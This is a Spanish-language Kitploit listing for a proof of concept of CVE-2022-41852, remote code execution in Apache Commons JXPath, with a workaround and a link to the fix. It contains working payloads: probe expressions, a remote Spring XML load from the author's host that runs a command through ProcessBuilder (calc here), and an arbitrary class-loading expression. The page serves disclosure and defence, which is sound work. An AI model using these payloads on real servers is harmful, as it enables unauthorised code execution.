Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-41852 — CVE-2022-41852 Prueba de concepto (no oficial) | Kitploit
Herramientas/GitHubGitHub/warxim/cve-2022-41852
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónDesarrollo de Payloads
GitHubwarxim/cve-2022-41852

CVE-2022-41852

CVE-2022-41852 Prueba de concepto (no oficial)

Ver Repositorio
7415hace 3 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Sitio web

Prueba de concepto de ejecución remota de código en la librería JXPath (CVE-2022-41852)

CVE-2022-41852 permite a los atacantes ejecutar código en el servidor de aplicaciones.

Puedes leer más sobre esta vulnerabilidad aquí:

  • https://hackinglab.cz/en/blog/remote-code-execution-in-jxpath-library-cve-2022-41852/

Nota: No soy autor de este CVE. Solo he creado esta prueba de concepto.

Enlaces útiles

  • JXPath GitHub
  • Sitio web de JXPath
  • MITRE CVE-2022-41852
  • NIST CVE-2022-41852

Descripción de la vulnerabilidad

La librería JXPath tiene soporte para ejecutar funciones en expresiones XPath (consulta la Guía oficial de usuario).

Por ejemplo, los métodos JXPathContext.getValue(path) y JXPathContext.iterate(path) son peligrosos si permites que el usuario envíe entrada al parámetro path.

Descripción del PoC

Este PoC inicia un servidor Spring simple con dos endpoints:

  • /vulnerable-example?path=[path]
  • /secure-example?path=[path]

Estos endpoints tienen solo un parámetro de consulta "path".

Posibles URL de solicitud

Las siguientes solicitudes funcionarán correctamente (no causarán ningún problema):

  • http://localhost:8080/secure-example?path=name
  • http://localhost:8080/secure-example?path=website
  • http://localhost:8080/secure-example?path=/
  • http://localhost:8080/vulnerable-example?path=name
  • http://localhost:8080/vulnerable-example?path=website
  • http://localhost:8080/vulnerable-example?path=/

Las siguientes solicitudes provocarán la ejecución de código:

  • http://localhost:8080/vulnerable-example?path=java.lang.System.exit(42)
  • http://localhost:8080/vulnerable-example?path=java.lang.Thread.sleep(10000)

Ejemplos de payloads

Ejemplos de payloads para detectar CVE-2022-41852:

  • java.lang.System.exit(42)
  • java.lang.Thread.sleep(10000)
  • /|java.lang.System.exit(42)
  • |java.lang.System.exit(42)

Puede haber varias formas de ejecutar comandos. Una de ellas es usar el ClassPathXmlApplicationContext de Spring:

  • org.springframework.context.support.ClassPathXmlApplicationContext.new("https://warxim.com/calc.xml")

En el archivo XML, puedes definir la configuración del bean; por ejemplo, puedes crear una instancia de ProcessBuilder y ejecutar el comando especificado en el servidor inicializando el bean con el método start(). En el siguiente ejemplo, se abrirá la calculadora en una máquina Windows:

root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="commandRunner" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>cmd</value>
        <value>/c</value>
        <value><![CDATA[calc]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>

También existe una forma de cargar nuevas clases recorriendo el bean de contexto; por ejemplo, el siguiente código cargará la clase com.warxim.dangerous.DangerousClass, creará su instancia y llamará al método run("warxim"):

root@kitploit:~
JXPathContext context = JXPathContext.newContext(new Data());
String jxPath = "run(newInstance(loadClass(getClassLoader(getClass(/)), \"com.warxim.dangerous.DangerousClass\")), \"warxim\")"
Object result = context.getValue(jxPath);

Observa que tenemos que llamar a los métodos del objeto colocando el objeto que los contiene como primer parámetro.

Solución alternativa para CVE-2022-41852

Es posible deshabilitar las funciones en JXPathContext configurando el campo functions con una FunctionLibrary vacía.

root@kitploit:~
// Create path context for person object
var pathContext = JXPathContext.newContext(person);

// Set empty function library
pathContext.setFunctions(new FunctionLibrary());

// getValue will throw org.apache.commons.jxpath.JXPathFunctionNotFoundException
return pathContext.getValue(path);

Nota: Esto deshabilitará todas las funciones, por lo que ni siquiera funciones como size() estarán disponibles.

Corrección

La corrección está en desarrollo; consulta https://github.com/apache/commons-jxpath/pull/26

Descargar herramienta